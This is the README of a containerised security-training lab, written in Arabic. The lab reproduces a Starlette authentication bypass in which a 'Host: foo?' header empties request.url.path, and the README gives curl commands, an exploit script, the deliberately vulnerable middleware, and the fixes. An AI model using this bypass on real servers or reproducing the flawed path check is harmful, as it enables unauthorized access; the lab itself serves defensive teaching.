مختبر Starlette لالتباس عنوان URL في ترويسة المضيف (X41-2026-002)

مختبر تدريبي قائم بذاته داخل حاوية، يعيد إنتاج ثغرة تجاوز المصادقة في Starlette التي كشفت عنها X41 D-Sec.

• النشرة الأمنية: X41-2026-002
• GHSA: GHSA-86qp-5c8j-p5mr
• CWE: 436 — تعارض التفسير / إدخال غير موثوق في استدعاء دالة
• CVSS: 7.0 (عالٍ)
• الإصدارات المتأثرة: Starlette >= 0.8.3, < 1.0.1 (المختبر يثبّت 0.37.2)
• أُصلح في: Starlette 1.0.1

⚠️ للاستخدام في التدريب الأمني المصرح به فقط. هذا التطبيق مصمَّم ليكون ضعيفًا عن قصد. لا تنشره على أي شبكة يمكن الوصول إليها.

الثغرة في فقرة واحدة

يوجّه Starlette الطلب إلى مسار باستخدام scope["path"] الخام من ASGI، لكنه يعيد بناء request.url عبر تنسيق سلسلة نصية لترويسة Host المقدمة من العميل في القالب "{scheme}://{host}{path}" — دون التحقق من ترويسة Host وفقًا لمعيار RFC 9112 §3.2. وبما أن المحارف الخاصة بعناوين URL (?, /, #) مسموح بمرورها مباشرة، يمكن للمهاجم جعل المسار المُعاد بناؤه مختلفًا عن المسار الموجَّه إليه. وعندها يمكن خداع أي فحص أمني مكتوب بالاعتماد على request.url.path بينما يظل الموجّه يصل إلى المعالج المحمي.

لماذا يعمل إثبات المفهوم (PoC)

تسمح البرمجية الوسيطة (middleware) الضعيفة بالطلب فقط عندما يكون request.url.path هو / أو فارغًا:

if request.url.path in ("/", ""):
    return await call_next(request)   # allowed
return PlainTextResponse("Forbidden", status_code=403)

أرسِل Host: foo? مع طلب GET /admin:

يحوّل ? كل ما بعده إلى سلسلة استعلام (query string)، لذا يكون المسار المُحلَّل فارغًا. ترى المصادقة مسارًا فارغًا فتسمح له بالمرور؛ بينما يستمر الموجّه في تقديم /admin. تم تحقيق التجاوز.

تشغيل المختبر

يتطلب Docker و Docker Compose.

docker compose up --build

يبدأ تشغيل خدمتين:

استغلالها

# Blocked normally:
curl -i http://localhost:8000/admin                 # 403 Forbidden

# Bypass via Host header injection:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}

أو شغّل سكربت إثبات المفهوم الموجّه:

./exploit/exploit.sh        # attacks :8000 (succeeds)
./exploit/exploit.sh 8001   # attacks :8001 (fails — fixed)

يعيد معالج /admin الضعيف نصًا JSON يجعل الالتباس مرئيًا — لاحظ كيف يختلف scope_path عن reconstructed_path:

{
  "secret": "FLAG{host_header_url_confusion}",
  "scope_path": "/admin",
  "reconstructed_url": "http://foo?/admin",
  "reconstructed_path": "",
  "host_header": "foo?"
}

كيف أُصلحت الثغرة

انظر إلى fixed/fixed_app.py. يوجد إجراءان مستقلان للتخفيف:

1. استخدم القيمة الموثوقة. اجعل قرار المصادقة على أساس request.scope["path"] — وهو نفس المسار الخام الذي يستخدمه الموجّه — بدلًا من request.url.path المُعاد بناؤه.
2. دفاع متعمق. يرفض TrustedHostMiddleware ترويسات Host غير المتوقعة أو غير الصالحة قبل تشغيل أي منطق تطبيقي، محاكيًا ما يفعله وكيل عكسي متوافق مع RFC (مثل nginx/Apache) في الطرف العلوي (upstream).

الإصلاح الفعلي في العالم الحقيقي هو ببساطة الترقية إلى Starlette ≥ 1.0.1، الذي يتحقق من ترويسة Host أثناء إعادة بناء عنوان URL.

أسئلة نقاش للمهندسين

1. أين يمكن في حزمة تقنية (stack) نموذجية أن تُعاد قيمة من إدخال غير موثوق ثم يُعتمد عليها بعد ذلك؟ (تلميح: قوائم السماح في SSRF، redirect_uri في OAuth، مفاتيح التخزين المؤقت، روابط إعادة تعيين كلمة المرور المبنية من Host.)
2. لماذا يُعد «حظر المسار السيئ» (/admin) أكثر هشاشة هنا من «اتخاذ القرار بناءً على نقطة النهاية الموجَّه إليها الطلب»؟ ماذا لو كانت التوجيهات غير حساسة لحالة الأحرف أو تتضمن عمليات إعادة توجيه للشرطة المائلة الزائدة (trailing-slash)؟
3. هذه هي CWE-436 (تعارض التفسير). ما الأخطاء الشهيرة الأخرى التي تتشارك هذا النمط؟ (تهريب طلبات HTTP، تجاوز المصادقة عبر تطبيع يونيكود، ثغرة 0.0.0.0-day.)

الملفات

starlette-host-header-lab/
├── app/vulnerable_app.py   # the deliberately vulnerable service
├── fixed/fixed_app.py      # mitigated service for comparison
├── exploit/exploit.sh      # guided proof-of-concept
├── requirements.txt        # pins Starlette 0.37.2 (vulnerable)
├── Dockerfile
├── docker-compose.yml
└── README.md